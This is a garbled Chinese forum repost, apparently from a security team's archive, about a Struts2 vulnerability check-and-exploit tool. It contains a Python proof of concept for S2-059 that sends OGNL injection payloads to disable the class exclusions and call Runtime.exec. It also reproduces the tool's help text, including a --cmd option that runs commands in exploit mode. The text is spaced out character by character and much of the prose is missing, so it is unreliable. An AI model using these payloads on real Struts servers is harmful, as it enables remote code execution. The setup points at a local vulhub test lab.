[20449] 2021-01-05_Struts2漏洞检查&利用工具-2.0

文档创建者:s7ckTeam
浏览次数:18
最后更新:2025-01-18
2021-01-05_Struts2漏洞检查&利用工具-2.0 S t r u t s 2 & - 2 . 0 y u d a y s   K h a n   2 0 2 1 - 0 1 - 0 5                 S t r u t s 2 M V C W e b s e r v l e t M V C S t r u t s 2 ( C o n t r o l l e r )                     v u l h u b s t r u t s 2 l i n u x 6 4 l i n u x w i n s 2 - 0 5 9 p o c P O C : i m p o r t   r e q u e s t s u r l   =   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 " d a t a 1   =   {         " i d " :   " % { ( # c o n t e x t = # a t t r [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) . ( # c o n t a i n e r = # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C o n t e x t . c o n t a i n e r ' ] ) . ( # o g n l U t i l = # c o n t a i n e r . g e t I n s t a n c e ( @ c o m . o p e n s y m p h o n y . x w o r k 2 . o g n l . O g n l U t i l @ c l a s s ) ) . ( # o g n l U t i l . s e t E x c l u d e d C l a s s e s ( ' ' ) ) . ( # o g n l U t i l . s e t E x c l u d e d P a c k a g e N a m e s ( ' ' ) ) } " } d a t a 2   =   {         " i d " :   " % { ( # c o n t e x t = # a t t r [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) . ( # c o n t e x t . s e t M e m b e r A c c e s s ( @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S ) ) . ( @ j a v a . l a n g . R u n t i m e @ g e t R u n t i m e ( ) . e x e c ( ' p a y l o a d ' ) ) } " } r e s 1   =   r e q u e s t s . p o s t ( u r l ,   d a t a = d a t a 1 ) #   p r i n t ( r e s 1 . t e x t ) r e s 2   =   r e q u e s t s . p o s t ( u r l ,   d a t a = d a t a 2 ) #   p r i n t ( r e s 2 . t e x t ) C O M M A N D S :       h e l p ,   h     S h o w s   a   l i s t   o f   c o m m a n d s   o r   h e l p   f o r   o n e   c o m m a n d G L O B A L   O P T I O N S :       - - m o d e   v a l u e     e x e c s c a n       - - v n   v a l u e         V u l n e r a b i l i t y   n u m b e r   ( d e f a u l t :   0 )       - - u r l   v a l u e       s e t   t a r g e t   u r l       - - c m d   v a l u e       e x e c   c o m m a n d ( o n l y   w o r k   o n   e x p l o i t   m o d e )       - - d a t a   v a l u e     d a t a   f o r   s p e c i a l   v u l n       - - h e l p ,   - h         s h o w   h e l p   ( d e f a u l t :   f a l s e )
" s t r u t s 2 "   使
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则